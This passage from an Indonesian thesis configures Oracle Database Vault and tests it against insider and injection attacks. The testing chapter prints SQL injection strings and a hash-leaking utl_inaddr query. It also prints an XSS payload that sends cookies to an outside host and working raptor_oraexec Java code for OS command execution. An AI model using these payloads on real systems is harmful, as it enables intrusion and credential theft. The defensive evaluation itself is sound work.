Melalui Sql Injection :

Menyisipkan sql command

Eksploitasi buffer overflows

Bila tidak ada output, dapat langsung menggunakan

UTL_HTTP standard package.

b. Bila terkoneksi langsung dengan database (sebagai database user)

Sql injection built in atau user-defined procedure

Buffer overflows built in atau user-defined procedure

Output dapat ditampilkan pada layar si penyerang


BAB III

ANALISA KEBUTUHAN DAN KONFIGURASI DATABASE VAULT

3.1 Analisa Kebutuhan

Banyaknya pemberitaan tentang pencurian data yang antara lain:

- Empat puluh milyar kartu kredit di hacked, pelanggaran pada prosesor

pihak ketiga berakibat pada 22 juta kartu visa dan 14 juta kartu master

(CNN Money)

- Pabrik sepatu DSW berkata bahwa pencurian data berhubungan

dengan 1.4 juta kartu kredit (The Wall Street Journal)

- Data warga negara Amerika sebanyak 145,000 telah dicuri (Mark

Schwannhausser , Mercury News)

- Lexis Nexis mengungkapkan bahwa 310,000 warga negara Amerika,

lebih dari 10 kali mengalami pelanggaran hak, data personal mereka

diakses oleh pihak-pihak yang tidak berhak (The Wall Street Journal)

- Telah terjadi pelanggaran pada call centre HSBC oleh pihak dalam,

membuat data privacy dan bahaya dari keterlibatan pihak dalam

menjadi sorotan. Hal ini tidak akan menjadi yang terakhir kali

(Security News)

Berbekal dari semua kejadian diatas, sistem keamanan pada database

merupakan hal yang sangat serius, kebutuhan yang ditetapkan oleh user adalah

adanya sistem database yang memiliki karakteristik keamanan yang tinggi

64
65

dimana suatu database dapat terjaga dan terpantau dengan baik. Sistem keamanan

tersebut harus memiliki kemampuan untuk melakukan:

A. Mendeteksi semua aktivitas pada database.

B. Memproteksi database dari user yang tidak berhak.

C. Memberikan laporan sehingga database dapat terpantau atau mudah untuk

diaudit.

Berikut ini adalah fitur security database yang dimiliki Oracle 10g release 2

Tabel 3.1 Fitur Security database Oracle 10g release 2


Fitur- Deskripsi Kegunaan Super User
fitur Privileges
Kebijaksanaan column level VPD
menyediakan pengaturan yang lebih ketat
untuk akses data. Kebijaksanaan ini terlaksana
Column Level bila kolom tertentu atau semua kolom berusaha Database
VPD untuk diakses di user query artinya bila ada Administrator
Virtual user yang mencoba memasuki data yang berisi
Private informasi sensitif maka VPD dapat dapat
Database membatasi hasil yang diberikan row

Column masking membuat hasil yang


Column Masking diberikan pada kolom yang berisi sensitif data Database
Administrator
seperti "null"

Static policy mengatur kebijaksanaan pada


query, updates, insert dan delete melalui
session dan sangat berguna untuk hosting
dimana kita membutuhkan predicate. Context-
Static, Context
sensitive policies, predicate dapat berubah
Virtual Sensitive dan Database
Private setelah statement parse time tapi VPD dapat
Shared VPD Administrator
Database mengeksekusi ulang jika konteks aplikasi
Policy
berubah dan sangat berguna pada saat VPD
policies harus membuat lebih dari satu
predicate yang berbeda untuk user atau grup
yang berbeda
66

Tabel 3.1 Fitur Security database Oracle 10g release 2 (Lanjutan)


Fitur- Deskripsi Kegunaan Super User
fitur Privileges
Dapat memperkecil kesalahan dalam audit atau
audit yang yang sulit dengan menspesifikasi
kondisi audit yang diinginkan. Tidak perlu
Virtual Improved fine- mereset audit_trail menjadi fine-grained Database
Private grained auditing auditing hanya dengan menambah atau Administrator
Database mengurangi FGA policies yang telah diset
sebelumnya. Built_in mekanisme audit pada
database mencegah user menjebol audit

Audit records dapat ditulis pada sistem operasi


XML audit dengan xml file, dengan query view semua file Database
records dengan ekstensi .xml akan diparse dan keluar Administrator
dalam bentuk tabel relasional

Penulisan audit record dengan syslog audit


Syslog Audit Database
Auditing trail, dapat memperkecil akses DBA dalam
Record Administrator
mengakses atau merubah data audit

Penambahan view
Uniform Audit DBA_COMMON_AUDIT_TRAIL yang Database
Trail membuat standard dan fine-grained audit log Administrator
dalam satu view

DBMS_CRYPTO dibuat untuk menggantikan


DBMS_OBFUSCATION_TOOLKIT yang
akan memberi kemudahan dalam penggunaan
dan mendukung algoritma-algoritma pada
PL/SQL sistem baru.
DBMS_CRYPTO Database
Encryption Administrator
Contoh : Algoritma Enkripsi (AES, Triple
Package
DES, DES RC4), Algoritma Kriptographi
(SHA-1), Keyed Hash (MAC), Form Padding
(PKCS#5, zeroes), Blok cipher modifikator
(CBC, CFB, ECB, OFB)

Seperti terlihat pada tabel diatas untuk keamanan database pada oracle

10g telah memadai dengan banyaknya fitur-fitur baru untuk menjawab semua

pernyataan diatas, namun terdapat kerentanan karena super user privileges tetap

dimiliki oleh DBA, celah ini perlu diwaspadai.

Sesuai dengan pernyataan dari ISACA (Information Systems Audit and

Control Association) yaitu pemisahan hak dan kewenangan adalah merupakan alat
67

pengendali dasar untuk mencegah dan mendeteksi error dan kesalahan dengan

menugaskan atau memberikan tanggung jawab untuk melakukan transaksi,

merekam transaksi dan kewajiban menjaga aset ke pihak yang berbeda-beda, agar

tidak ada satu orang yang melakukan ketidakjujuran atau perusakan tanpa bisa

dideteksi.

Oracle memiliki database vault yang memisahkan secara jelas

kewenangan account management, kewenangan data security dan kewenangan

data resource management. Dengan kata lain membatasi hak DBA dari super

privilege user yang memiliki semua akses ke data menjadi beberapa database role

agar tidak ada yang memiliki kekuasaan penuh atas data dan konfigurasi system

Berikut adalah gambaran secara umum ruang lingkup dan kewenangan

yang dimiliki oleh database user. Terlihat bahwa database administrator memiliki

kewenangan paling besar dan luas atas semua data pada database.

Gambar 3.1 Data dictionary views sebelum instalasi database vault

[Referensi:Oracle 10g Database Vault White Paper, 2006]


68

Tabel 3.2 Privilege SYSDBA dan SYSOPER


System Privillege Operations Authorized
- Perform STARTUP and SHUTDOWN operations
- ALTER DATABASE open, mount, back up or change
character set
- CREATE DATABASE
- DROP DATABASE
SYSDBA - CREATE SPFILE
- ALTER DATABASE ARCHIVELOG
- ALTER DATABASE RECOVER
- Includes the RESTRICTED SESSION privilege
Effectively this system privilege allows a user to connect as
user SYS
- Perform STARTUP and SHUTDOWN operations
- CREATE SPFILE
- ALTER DATABASE OPEN/MOUNT /BACKUP
- ALTER DATABASE ARCHIVELOG
- ALTER DATABASE RECOVER (Complete recovery
SYSOPER only. Any form of incomplete recovery such as UNTIL
TIME|CHANGE|CANCEL| CONTROLFILE requires
connecting as SYSDBA)
- Includes the RESTRICTED SESSION privilege
This privilege allows a user to perform basic operational
tasks, but without the ability to look at user data

Tabel 3.3 Privilege yang berubah setelah instalasi database vault


User or Role Privilege That Is Revoked
DBA role - Become USER
- SELECT ANY TRANSACTION
- CREATE ANY JOB
- EXECUTE ANY PROGRAM
- EXECUTE ANY CLASS
- MANAGE SCHEDULER
- DEQUEUE ANY QUEUE
- ENQUEUE ANY QUEUE
- MANAGE ANY QUEUE
IMP_FULL_DATABASE role - BECOME USER
- MANAGE ANY QUEUE
EXECUTE_CATALOG_ROLE role - EXECUTE ON DBMS_LOGMNR
- EXECUTE ON DBMS_LOGMNR_D
- EXECUTE ON
DBMS_LOGMNR_LOGREP_DICT
- EXECUTE ON
DBMS_LOGMNR_SESSION
- EXECUTE ON DBMS_FILE_TRANSFER
PUBLIC user - EXECUTE ON UTL_FILE
69

Tabel 3.3 Privilege yang berubah setelah instalasi database vault (lanjutan)
User or Role Privilege That Is Revoked
SCHEDULER_ADMIN role - CREATE ANY JOB
- CRATE EXTERNAL JOB
- EXECUTE ANY PROGRAM
- EXECUTE ANY CLASS
- MANAGE SCHEDULER
SYS user - ALTER USER
- DROP USER
SYSTEM user - ALTER USER
- CREATE USER
- DROP USER

Tabel 3.4 Privilege database vault account manager role


User or Role Privilege That Is Revoked
SYS user - ALTER PROFILE
- CREATE PROFILE
- DROP PROFILE
SYSTEM user - ALTER PROFILE
- CREATE PROFILE
- DROP PROFILE

Pengamanan database dengan Database Vault

- Untuk mengamankan akses ke database, aplikasi dan informasi yang

sensitive dengan menggabungkan realms, factors and command rules.

Realms akan memproteksi data dari akses melalui system

privileges dan tidak memberikan privileges tambahan untuk owner

atau participants. Autorisasi realms memiliki mekanisme run-time

untuk memeriksa secara logical apakah user’s command diijinkan

untuk mengakses objek yang tertera pada command dan

meneruskan eksekusi.

Jika ada user yang menjalankan statement yang mempengaruhi

command rules maka database vault akan memeriksa autorisasi

realms terlebih dulu, bila tidak ditemukan pelanggaran realms dan

semua command rules yang berhubungan enabled, maka database


70

vault akan mengevaluasi rule sets yang berhubungan. Jika semua

nilai semua rule sets adalah true maka statement diijinkan untuk

proses selanjutnya.

- Untuk mengatur kondisi dari command yang boleh diekseskusi di database

dengan menggabungkan rules dan factor dan pengaturan akses data akan

diatur oleh realms.

Berikut adalah gambar dari alur kerja penggabungan command rule

dan realm yang membatasi privilege yang dimiliki oleh user. Terlihat jika

seorang user memiliki privilege GRANT untuk any privilege maka akan

dicek terlebih dahulu apakah user tersebut diberikan akses yang

sebelumnya telah di buat terlebih dahulu pada realm sehingga dapat

mengakses data tertentu. Jika ada, maka selanjutnya akan dicek pada

command rule dan jika semua nilai rule set benar maka user diijinkan

melanjutkan proses.

Gambar 3.2 Alur realm dan command rules membatasi privileges user

[Referensi:Oracle 10g Database Vault White Paper]


71

3.2 Perancangan Arsitektur Sistem Keamanan dengan Database Vault

Pada penulisan ini akan dibuat perancangan sistem yang menggunakan

satu buah server yang telah terinstalasi dengan database oracle 10g dan database

vault.

Berikut gambaran perancangan sistem keamanan dengan konfigurasi satu

buah server yang telah terinstalasi dengan oracle 10g dan ditambah dengan

database vault. Setelah itu pembuatan HR realm untuk memproteksi data-data HR

yang sensitive. Bagi user yang tidak memiliki hak atau akses maka akan langsung

diberikan pemberitahuan. Server ini akan diakses oleh dua user. User pertama

adalah seorang DBA dan user kedua adalah HR manager. Pada gambar, user

DBA terhalang untuk mengakses data-data HR karena telah ada realm.

Pembuktian hal ini akan ada pada bab selanjutnya.

Server yang telah


diinstalasi dengan Oracle
10g R2 + Database Vault

X
User HR

Gambar 3.3 Arsitektur sistem keamanan dengan HR realm

A. Spesifikasi Hardware

Memory : 1 GB untuk instance dengan database control

Ruang Disk : 1.5 GB untuk swap


72

400 MB untuk direktori /tmp

1.5 GB hingga 3.5 GB untuk software oracle

1.2 GB untuk pre-konfigurasi database

2.4 GB untuk flash recovery area

B. Spesifikasi Software

Oracle Database 10g Release 2

Edisi : Enterprise Edition

Base Release : 10.2.0.1

Patch Installed : 10.2.0.4

Platform : Linux Red Hat

Feature : Oracle Database Vault

3.3 Instalasi Oracle 10g Release 2

Langkah-langkah :

1. Instalasi dan konfigurasi linux

Sistem Operasi yang digunakan adalah Red Hat Enterprise 4. Pada

tahap ini dilakukan instalasi paket-paket yang diperlukan untuk

instalasi oracle.

glibc-2.3.4-2.13

glibc-common-2.3.4-2.13

gcc-3.4.4-2

gcc-c++-3.4.4-2

libstdc++-3.4.4-2

libstdc++-devel-3.4.4-2

libaio-0.3.103-3

binutils-2.15.92.0.2-15
73

make-3.80-5

compat-db-4.1.25-9

gnome-libs-1.4.1.2.90-44.1

pdksh-5.2.14-30.3

sysstat-5.0.5-1

2. Pemeriksaan memory dan swap

# grep MemTotal /proc/meminfo

# grep SwapTotal /proc/meminfo

Jika swap kurang dari 1 ghz

# dd if=/def/zero of=tmpswap bs=1k count=700000

# chmod 600 tmpswap

# mkswap tmpswap

# swapon tmpswap

Pemeriksaan kapasitas direktori /tmp

# df /tmp

3. Konfigurasi linux untuk oracle

Pada tahap ini dilakukan konfigurasi parameter kernel, melakukan

setting shell limits, membuat user, group dan directory untuk oracle,

profile untuk user oracle.

a. Setting sistem parameter kernel

Edit /etc/sysctl.conf dan tambahkan:

kernel.shmall = 2097152

kernel.shmmax = 2147483648

kernel.shmmni = 4096

kernel.sem = 250 32000 100 128

fs.file-max = 65536

net.ipv4.ip_local_port_range = 1024 65000

net.core.rmem_default = 262144

net.core.rmem_max = 262144

net.core.wmem_default = 262144
74

net.core.wmem_max = 262144

Jalankan command sysctl –p untuk mengaktifkan setting diatas

b. Setting shell limits

Edit /etc/security/limits.conf dan tambahkan:

oracle soft nproc 2047

oracle hard nproc 16384

oracle soft nofile 1024

oracle hard nofile 65536

Edit /etc/pam.d/login

session required /lib/security/pam_limits.so

session required pam_limits.so

c. Membuat user, group dan directory untuk instalasi oracle

# mkdir -p /u01/app/oracle

# groupadd dba {memiliki hak akses SYSDBA}

# groupadd oinstall {pemilik software}

# useradd -c “Oracle Software Owner” -g oinstall -G dba

oracle -d /u01/app/oracle

Owner dan hak akses direktori

# chown -R oracle:oinstall /u01/app/oracle

# chmod -R 775 /u01/app/oracleProfile untuk oracle

d. Login sebagai oracle user dan edit .bash_profile file

# Oracle Settings

TMP=/tmp; export TMP

TMPDIR=$TMP; export TMPDIR

ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE

ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1; export

ORACLE_HOME

ORACLE_SID=orcl; export ORACLE_SID

ORACLE_TERM=xterm; export ORACLE_TERM

PATH=/usr/sbin:$PATH; export PATH

PATH=$ORACLE_HOME/bin:$PATH; export PATH


75

LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export

LD_LIBRARY_PATH

CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/

rdbms/jlib; export CLASSPATH

if [ $USER = "oracle" ]; then

if [ $SHELL = "/bin/ksh" ]; then

ulimit -p 16384

ulimit -n 65536

else

ulimit -u 16384 -n 65536

fi

fi

Setelah disimpan berikan perintah # source /etc/profile

4. Memulai OUI (Oracle Universal Installer) untuk memulai instalasi

oracle 10g. Langkah-langkah instalasi dengan OUI secara lengkap

dapat dilihat pada lampiran.

3.4 Upgrade Oracle 10g Release 2 (10.2.0.1.0) menjadi (10.2.0.4.0)

Database vault dapat berjalan minimal pada platform oracle 10g

release 2 (10.2.0.4.0) sehingga diperlukan upgrade oracle 10g dari yang

telah diinstalasi 10.2.0.1.0 menjadi 10.2.0.4.0. Patch ini dapat di download

pada http://metalink.oracle.com. Untuk instalasi patch ini dilakukan pada

oracle home yang sama yaitu /u01/app/oracle/product/10.2.0/db_1.

Langkah-langkah yang dilakukan pada saat instalasi sama dengan pada

saat instalasi oracle 10g release 2 10.2.0.1.0 tanpa harus membuat

directory atau oracle home baru.


76

3.5 Konfigurasi Listener

Setelah instalasi oracle 10g dan patch telah dilakukan, maka

selanjutnya mengkonfigurasi listener. Sesuai dengan arti nama dalam

bahasa Indonesia, listener berfungsi untuk mendengar dalam hal ini

koneksi user ke database.

Listener melakukan query fungsi membuat proses server untuk tiap

user atau untuk multi thread fungsi bagi banyak user. Instalasi secara

lengkap dapat dilihat pada lampiran.

3.6 Membuat Database dengan Database Configuration Assistant (DBCA)

Pembuatan database setelah patch instalasi oracle 10g menjadi

10.2.0.4.0 akan jauh lebih mudah dibanding database dibuat bersaaman

instalasi oracle 10g 10.2.0.1.0 karena selain harus mengupgrade oracle

juga harus mengupgrade database. Login sebagai user oracle dan ketik

dbca, wizard pembuatan database akan muncul dan ikuti semua langkah

instalasinya.

Yang perlu diperhatikan adalah berhati-hati pada saat mengisi

global database name karena akan terkoneksi dengan SID (spesifikasi

nama instan dari oracle server dan harus unik), disarankan nama SID

maksimum 4 (empat) karakter. Langkah-langkah instalasi secara lengkap

dapat dilihat pada lampiran.


77

3.7 Konfigurasi Database Vault

3.7.1 Instalasi Database Vault

Login sebagai user oracle

1. Sebelum memulai instalasi database vault, stop semua servis

oracle

- Stop Enterprise Manager Database Control

$ emctl stop dbconsole

- Stop the iSQL*Plus Proses

$ isqlplusctl stop

- Matikan semua database instance

sqlplus „/as sysdba‟

sql>shutdown immediate

- Stop listener

$ lsnrctl stop

2. Instal database vault pada oracle home yang kita pilih lalu

ikuti langkah-langkah instalasi yang diberikan. Lebih lengkap

tentang instalasi database vault dapat dilihat pada lampiran.

3.7.2 Membuat Realm

1. Buka web browser dan ketik url yang telah diberikan

sebelumnya untuk koneksi ke database vault

https://maroeti:1158/dva

Berikut adalah tampilan database vault berbasis web:


78

Gambar 3.4 Tampilan database vault

Contoh :

Login sebagai database vault owner

Klik pada realms lalu create realm

Name : HR Realm

Description : This realm restricts DBA

access to HR data.

Status : Enabled

Audit Options : Audit on Failure

Lalu klik : Ok

a. Pada layar realm summary

Klik create realm secured objects

Object Owner: HR

Object Type: %

Object Name: %

b. Klik create realm authorization section

Grantee: HR [USER]

Authorization Type: Owner (Note: the default type

is Participant)

Authorization Rule Set: <non selected>

Klik Ok
79

2. API

begin

dvsys.dbms_macadm.CREATE_REALM(

realm_name => 'HR Realm'

,description => 'This realm

protects HR data from DBA access'

,enabled => 'Y'

,audit_options => 1);

end;

commit;

begin

dvsys.dbms_macadm.add_object_to_realm(

realm_name => 'HR Realm'

,object_owner => 'HR'

,object_name => '%'

,object_type => '%');

end;

commit;

begin

dvsys.dbms_macadm.ADD_AUTH_TO_REALM(

realm_name => 'HR Realm'

,grantee => 'HR');

end;

commit;
80

3.8 Ancaman-ancaman dari dalam (insider threat)

Seperti yang telah dijelaskan diatas, bahwa ancaman terbesar untuk

keamanan data suatu perusahaan/organisasi justru dari pihak dalam karena

sering tidak terdeteksi atau luput dari perhatian

Berikut beberapa kemungkinan yang dapat menggangu keamanan

database:

1. Database administrator

Dengan super privilege yang dimiliki DBA dapat mengancam

integritas keamanan dari data-data yang dimiliki.

2. Usaha merubah sementara password account yang berwenang

untuk memberikan privellege (GRANT) pada user tertentu.

3. SQL Injection dan freeware yang banyak terdapat di internet untuk

mengeksploitasi database.

3.9 Skenario-skenario yang mungkin terjadi

Untuk lebih mengetahui tentang kemampuan dari oracle 10g

release 2 dan database vault yang telah dijelaskan sebelumnya maka akan

dilakukan beberapa analisa mengenai kemungkinan dari ilegal akses atau

perusakan dan eksploitasi dari pihak dalam.

Berikut adalah beberapa skenario yang mungkin terjadi

1. Seorang DBA yang iseng ingin mencoba mengganti angka dari gaji

dengan mengakses tabel gaji pada server HR.


81

2. Seorang user mencoba melakukan akses ilegal pada database

dengan melakukan injeksi perintah sql karena pengaturan oracle

10g dan database vault berbasis web. Akses ilegal dilakukan

melalui koneksi dalam satu jaringan.

3. Seorang user mencoba menggunakan program eksploitasi yang

banyak di internet untuk merusak database. Penggunaan freeware

agar tidak bisa dilacak siapa yang telah melakukan akses ilegal.

4. Proses audit secara berkala yang dilakukan database owner untuk

pelaporan.
BAB IV

IMPLEMENTASI DAN PENGUJIAN

Berdasarkan skenario-skenario yang telah dibuat pada bab sebelumnya,

maka akan dilakukan pengujian untuk membuktikan keamanan yang dimiliki

oracle 10g dan database vault.

4.1 Proteksi dari Database Administrator

Seperti yang telah dijelaskan pada bab 3 bahwa salah satu keunggulan dari

database vault adalah membatasi privellege dari database administrator (DBA)

dan kemungkinan sebagai insider threat maka berikut hasil pengujiannnya:

1. Sebelum instalasi database vault, seorang DBA dapat mengakses data HR

[oracle@maroeti ~]$ sqlplus '/as sysdba'

SQL*Plus: Release 10.2.0.4.0 - Production on Sat Jun 13 07:06:53

2009

Copyright (c) 1982, 2007, Oracle. All Rights Reserved.

Connected to an idle instance.

SQL> startup

ORACLE instance started.

Total System Global Area 285212672 bytes

Fixed Size 1267068 bytes

Variable Size 113248900 bytes

Database Buffers 167772160 bytes

Redo Buffers 2924544 bytes

Database mounted.

Database opened.

82
83

SQL> select first_name, last_name, salary from hr.employees

2 ;

FIRST_NAME LAST_NAME SALARY


-------------------- ------------------------- ----------
Donald OConnell 2600
Douglas Grant 2600
Jennifer Whalen 4400
Michael Hartstein 13000
Pat Fay 6000
Susan Mavris 6500
Hermann Baer 10000
Shelley Higgins 12000
William Gietz 8300
Steven King 24000
Neena Kochhar 17000

Seperti terlihat diatas seorang DBA dapat mengakses data gaji pada tabel

HR dan dengan mudahnya DBA dapat menggunakan perintah ALTER dan

mengganti angka-angka gaji tersebut dan bahkan merusak data-data

penting yang lain.

2. Lalu diadakan percobaan dengan instalasi database vault dan pembuatan

HR realm pada database. DBA mengulangi perintah sql seperti pada

percobaan sebelumnya dan hasilnya adalah pemberitahuan “insufficient

privileges” dan DBA tidak bisa mengakses tabel HR

SQL> select first_name, last_name, salary from hr.employees

2 ;

ERROR at line : 1

ORA-01031 : insufficient privileges

Dengan ini terbukti dengan database vault seorang database administrator

yang sebelumnya memiliki super privilege kini telah berubah privellege menjadi

user biasa dan tidak bisa mengakses data-data pada tabel yang dilindungi realm.
84

4.2 Alter password database vault account manager

Bila database administrator tidak memiliki super privileges lagi setelah

instalasi database vault, bagaimana jika merubah password database vault

account manager sementara untuk memberi privilege pada user tertentu agar

dapat mengakses database yang telah diproteksi dengan realm.

1. Buka web browser dan ketik url yang telah diberikan sebelumnya untuk

koneksi ke isqlplus atau juga dapat melalui sqlplus yang berbasis text.

https://maroeti:5560/isqlplus

2. Show oracle password hash key, dengan mengetik SQL statements

SELECT username, password FROM DBA_USERS;

atau

SELECT name,password FROM SYS.USER$ WHERE password is not

null;

Gambar 4.1 Isqlplus menunjukkan username dan password

Seperti terlihat diatas seorang database administrator dan login

sebagai system tetap bisa melihat semua password user


85

Rubah password database vault account manager untuk sementara

dan memberikan GRANT untuk user tertentu

select username,password from dba_users where username='DVM';

alter user DVM identified by mypassword;

Dan hasilnya akan muncul pemberitahuan:

“insufficient privileges”

Yang menerangkan bahwa user yang bersangkutan tidak memiliki

privilege yang diminta untuk ALTER password user tertentu

Berikut ini adalah gambar dari perintah SQL untuk ALTER:

Gambar 4.2 Layar isqlplus menunjukkan tidak ada privilege

Teruji dengan adanya database vault seorang database administrator tidak

bisa merubah password database vault account manager walaupun dapat melihat

semua password database user yang terenkripsi. Namun hal ini juga bisa menjadi

kendala berikutnya karena baik melalui isqlplus dan sqlplus „/as sysdba‟ user

dapat mencari dekripsi dari password enkripsi yang terlihat.

Dengan mengetahui format password yang digunakan oleh oracle 10g

maka akan lebih mudah lagi untuk mencari tool program dekripsi password yang
86

banyak tersebar di internet. Namun karena keterbatasan waktu maka penulis tidak

melakukan percobaan untuk mendekripsi password-password database user

tersebut.

Berdasarkan percobaan 4.1 dan 4.2 dapat diambil kesimpulan bahwa

dengan ditambahkannya fitur database vault pada database oracle 10g dapat

membatasi privilege DBA dan pembagian role sesuai dengan fungsi dari user.

Sehingga keamanan data lebih dapat terjamin dan sesuai dengan peraturan

Sarbanes-Oxley tentag integritas data. Akan tetapi database vault masih memiliki

kelemahan dengan diketahuinya enkripsi password-password sehingga hal ini

perlu jadi perhatian lebih lanjut bagi pihak oracle.

4.3 SQL Injection

Sql injection adalah penyisipan pada statemen sql yang umumnya

digunakan para hacker untuk meretas web aplikasi. Pada web aplikasi seperti

mail.yahoo.com terdapat layar untuk memasukkan nama dan password. Pada saat

kita memasukkan nama dan password dibagian url akan terlihat username=‟ „ dan

password=‟ „, dibelakang dari isi username ditambahkan “or 1= 1--“ begitu juga

pada password. Umumnya sql injection yang umum diketahui adalah code

injection. Penulis akan mencoba meretas langsung ke server database oracle

dengan sql injection, namun tidak melalui web aplikasi dan penggunaan oracle

sebagai back end database yang terlindungi oleh firewall dan aplikasi-aplikasi

intrusion detection system dikarenakan keterbatasan waktu dan keluar dari topik

permasalahan.
87

a. Code Injection

Melakukan test autentifikasi apakah halaman web rentan atau tidak.

Dengan memasukkan statemen pada box user name dan password atau

pada halaman url itu sendiri.

SELECT id FROM users WHERE name='\' OR 1=1 ' AND pass='\' OR

1=1 LIMIT 1';

Mencoba semua kemungkinan yang ada:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

„ or 1=func --

„ AND 1=func –

Untuk membuka halaman web pengatur database oracle maka pada kita

tuliskan alamat url https://maroeti:1158/em pada web browser.

Pada kolom login, kita masukkan nama sembarang ditambah dengan kode-

kode injeksi diatas, begitu juga dengan kolom password. Kita masukkan

password sembarang ditambah dengan kode-kode injeksi diatas. Maka

hasilnya adalah seperti gambar dibawah.


88

Gambar 4.3 Hasil dengan code injection pada oracle

Terlihat dari hasil gambar diatas bahwa muncul error dan

pemberitahuan bahwa yang dapat login adalah sysdba atau sysoper.

Jadi terbukti bahwa code injection tidak dapat digunakan untuk

masuk ke server database oracle.

Selain itu penulis juga mencoba menggabungkan sql command untuk

mengetahui nama host dengan command untuk menampilkan

password dari dba_users

SQL> select utl_inaddr.get_host_name((select username||'='||

password from dba_users where rownum=1)) from dual;

Error at line 1:

ORA-29257: host SYS=D4DF7931AB130E37 unknown

ORA-06512: at "SYS.UTL_INADDR", line 4

ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at line 1
89

Dan hasilnya adalah dengan terlihatnya user name SYS dengan

password yang terenkripsi. Seperti pada percobaan sebelumnya,

yang dibutuhkan adalah tool untuk mendekripsi password tersebut.

Disimpulkan bahwa code injection tidak dapat digunakan untuk

akses ke server database oracle secara langsung, mungkin beda

hasilnya jika injeksi pada web aplikasi dan oracle sebagai back end

database.

b. Cross Site Scripting (XSS)

Merupakan salah satu jenis serangan web dengan memanfaatkan

metode http get/http post. Cross site scripting dapat diartikan sebagai

kelemahan yang terjadi akibat ketidakmampuan server dalam

memvalidasi input yang diberikan oleh pengguna dan serangan

dilakukan dengan cara memasukkan naskah program (biasanya java

script) sebagai bagian dari teks masukan melalui form yang tersedia.

Contoh java script yang sering digunakan:

ASCII Usage:

http://host/a.php?variable="><script>document.location='http://ww

w.cgisecurity.com/cgi-bin/cookie.cgi?

'%20+document.cookie</script>

Hex Usage:

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74

%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%

Pada saat kita memasukkan url: https://maroeti:5560/isqlplus maka


90

akan tampil jendela login seperti dibawah ini dan hanya dba_users

yang dapat mengakesnya jadi jika tidak berwenang akan muncul

error.

Gambar 4.4 Logon form pada isqlplus

Penulis mencoba meretas isqlplus dengan mengetik skrip berikut ini

pada halaman login.

https://maroeti/isqlplus?action=logon&username=dummy%22%3e%

3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript

%3ealert('CSS')%3c/script%3e

Dan hasilnya adalah pemberitahuan tentang kegagalan koneksi

dengan server database oracle.


91

Gambar 4.4 Hasil injeksi xss pada isqlplus

Terbukti dari hasil gambar diatas, cross site scripting tidak berhasil

untuk meretas isqlplus oracle 10g.

c. Java exploitation

Cara lain untuk dapat mengakses file sistem di oracle selain tanpa

menggunakan privilege CONNECT dan RESOURCES role

(membutuhkan privilege khusus) yaitu dengan eksploitasi java pada

utl_file package oracle. Dengan cara lain ini kita dapat menulis dan

membaca file-file OS dengan privilege RDBMS user. Penulis

mencoba mengeksploitasi utl_file oracle dengan menggunakan

command sql raptor_oraexec.sql.

Oracle RDBMS dapat dianggap sebagai shell seperti bash atau

windows command prompt, tidak hanya untuk menyimpan data tapi

juga untuk melengkapi akses sistem file dan perintah sistem operasi.

SQL>

create or replace and resolve java source named "oraexec" as

import java.lang.*;
92

import java.io.*;

public class oraexec

Command execution module

public static void execCommand(String command) throws

IOException

Runtime.getRuntime().exec(command);

File reading module

public static void readFile(String filename) throws

IOException

FileReader f = new FileReader(filename);

BufferedReader fr = new BufferedReader(f);

String text = fr.readLine();

while (text != null) {

System.out.println(text);

text = fr.readLine();

fr.close();

File writing module

public static void writeFile(String filename, String line)

throws IOException

FileWriter f = new FileWriter(filename, true); /*

append */

BufferedWriter fw = new BufferedWriter(f);

fw.write(line);

fw.write("\n");
93

fw.close();

SQL> Java created.

usage: exec javacmd('command');

SQL>

create or replace procedure javacmd(p_command varchar2) as

language java

name 'oraexec.execCommand(java.lang.String)';

SQL> Procedure created.

usage: exec dbms_java.set_output(2000);

set serveroutput on;

exec javareadfile('/path/to/file');

SQL> create or replace procedure javareadfile(p_filename in

varchar2) as

language java

name 'oraexec.readFile(java.lang.String)';

Procedure created.

usage: exec javawritefile('/path/to/file', 'line to append');

SQL> create or replace procedure javawritefile(p_filename in

varchar2, p_line in varchar2) as

language java

name 'oraexec.writeFile(java.lang.String, java.lang.String)';

Procedure created.
94

Lalu di lakukan test

SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l >

/tmp/aaa');

PL/SQL procedure successfully completed.

SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / >

/tmp/bbb');

PL/SQL procedure successfully completed.

SQL> exec dbms_java.set_output(2000);

PL/SQL procedure successfully completed.

SQL> set serveroutput on;


SQL> exec javareadfile('/tmp/mytest');
/bin/ls -l > /tmp/aaa
/bin/ls -l / > /tmp/bbb
PL/SQL procedure successfully completed.

SQL> exec javacmd('/bin/sh /tmp/mytest');


PL/SQL procedure successfully completed.

SQL> !sh
sh-3.2$ ls -rtl /tmp/
-rw-r--r-- 1 oracle oinstall 46 Aug 9 06:20 mytest
-rw-r--r-- 1 oracle oinstall 1517 Aug 9 06:21 bbb
-rw-r--r-- 1 oracle oinstall 505 Aug 9 06:21 aaa

Berdasarkan percobaan diatas dapat terlihat bahwa dengan

mengeksploitasi java pada oracle dengan raptor_exec.sql, penulis

dapat menuliskan perintah sistem operasi pada folder oinstall oracle.

Folder oinstall adalah folder yang terbentuk pada saat instalasi awal

oracle dan digunakan sebagai acuan untuk instalasi-instalasi

berikutnya. Dengan eksploitasi pada perintah pada sistem operasi

tidak tertutup kemungkinan jenis perintah yang dibuat selanjutnya


95

antara lain shutdown, restart dapat mengganggu dan merusak

database.

d. Eksploitasi DBMS_EXPORT_EXTENTION

Paket dbms_export_extention diperlukan untuk melakukan export

file pada database oracle. Isu rentannya fungsi

get_domain_index_metadata pada dbms_export_extention yang

dapat membuat user dengan akses database merubah privilegenya

menjadi seorang DBA menjadi hal yang perlu diwaspadai.

Berdasarkan data dari oracle sendiri, produk yang pernah terinfeksi

adalah oracle dengan versi 10.1.0 kebawah. Penulis ingin mencoba

mengeksploitasi dbms_export_extention pada oracle 10g release 2

yang telah di instalasi dengan fitur tambahan database vault.

